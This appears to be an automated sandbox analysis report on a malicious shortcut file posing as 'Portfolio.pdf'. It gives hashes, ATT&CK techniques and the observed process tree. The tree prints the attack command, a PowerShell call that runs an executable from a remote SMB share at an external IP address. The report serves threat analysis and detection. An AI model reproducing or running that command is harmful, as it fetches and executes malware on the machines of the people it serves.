1982aa4c747fdf0c764baf3e87ada16ca9f663713b71bb4cbe179a63e4ad6f82

Analysis

max time kernel
135s
max time network
146s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
03/06/2023, 17:37

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Portfolio/Portfolio.pdf.lnk
Size

2KB
MD5

5657c7952d1f9a7a856abcc8e1a4f59f
SHA1

28c4bcb096309d0e208554dd4bac9b675b37f054
SHA256

8046608a1d4e7e39912c6178fe024a4f95fdfd6ce57880b519d6cfd6698d4f3a
SHA512

47189c5fbf6171c7827840eadfe00c9cef1002ef9e8d2d6f7ea6c2de3f5b1451f5b036b2c53ea36232a08c609d2f8866a0f66c947ee9a4d5d14c226612721757

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2732	powershell.exe
2732	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2732	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2976 wrote to memory of 2732	2976	cmd.exe	87
PID 2976 wrote to memory of 2732	2976	cmd.exe	87

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Portfolio\Portfolio.pdf.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2976
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "\\89.23.98.56\sharedatalnk\System.Messaging.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2732

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3zivgubd.nt0.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2732-135-0x0000014F4E810000-0x0000014F4E832000-memory.dmp

Filesize
136KB

Download
memory/2732-145-0x0000014F66B10000-0x0000014F66B20000-memory.dmp

Filesize
64KB

Download
memory/2732-146-0x0000014F66B10000-0x0000014F66B20000-memory.dmp

Filesize
64KB

Download